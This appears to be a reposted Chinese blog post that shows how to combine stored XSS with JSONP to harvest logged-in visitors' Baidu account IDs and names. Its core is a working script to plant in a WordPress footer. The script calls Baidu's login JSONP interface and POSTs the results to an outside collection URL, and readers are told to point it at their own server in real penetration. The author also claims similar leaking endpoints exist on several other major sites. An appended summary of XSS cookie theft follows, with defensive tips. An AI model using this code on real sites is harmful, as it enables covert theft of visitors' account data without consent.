XSS结合JSONP获取网站访客社交账号信息

  我在本地环境搭建了一个WordPress网站,并在该网站中植入JavaScript文件。如果访客在浏览网站时登录了百度账号,该js文件能够利用JSONP获取网站访客的百度账号信息。

具体情况如下:

1、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,如果该网站存在存储型XSS漏洞,我们就可以将xss_jsonp.js文件植入进去。

2、xss_jsonp.js文件内容如下,具体功能是通过JSONP获取百度账号信息,并上传到服务器上。为了做演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你可以把信息上传到自己的服务器上。

 1 function jsonp_baidu() {
 2     window._baidu_1 = function(object) {
 3     if(!object.id) {
 4         return;
 5     }
 6     var data = {};
 7     data.id = object.id;
 8     data.name = object.name;
 9     $.post(saveUrl + '?act=baidu', data);
10     };
11     $.ajax({
12         url: "https://baike.baidu.com/api/login/",
13         type: "GET",
14         dataType: "jsonp",
15         jsonp: 'callback',
16         jsonpCallback: "_baidu_1",
17     });
18 }  
19 var saveUrl = 'https://www.sogou.com/xss_jsonp.php';
20 jsonp_baidu();

3、访问网站并观察刚才植入的js代码是否执行。

访问百度的JSONP接口,服务器返回登录账号的相关信息。

获取到百度账号信息后,上传到www.sogou.com服务器。

 

  目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口可以获取用户账号信息。

 

转载于:https://www.cnblogs.com/dgjnszf/p/10793535.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者可以通过注入恶意脚本来获取用户的感信息,如cookie。在存储型XSS击中,攻击者将恶意脚本存储在目标网站的数据库中,当其他用户或管理员访问包含该恶意脚本的页面时,脚本会被执行,从而导致用户的cookie信息被窃取。 根据引用[1]提供的信息,攻击者可以在目标网站的博或论坛等地方发表帖子或留下评论,内容包含恶意脚本。当其他用户或管理员打开包含恶意脚本的页面时,脚本会触发并将用户的cookie信息发送到攻击者指定的网站。 引用[2]提供了一个获取cookie的示例代码,其中的cookie.asp文件会将获取到的cookie信息写入到code.txt文件中。攻击者可以通过构造恶意脚本,将cookie信息发送到自己的服务器上。 引用[3]提供了另一种获取cookie的方法,通过将cookie信息作为参数发送到指定的URL,攻击者可以在该URL的服务器上获取到用户的cookie信息。 总结来说,攻击者可以通过存储型XSS漏洞,在目标网站上注入恶意脚本,从而获取用户的cookie信息。这些信息可以被用于未授权访问用户账户等恶意行为。为了防止XSS攻击,网站开发者应该对用户输入进行严格的过滤和转义,以防止恶意脚本的注入。用户也应该保持浏览器和操作系统的更新,并避免点击可疑的链接或下载未知来源的文件,以减少受到XSS攻击的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值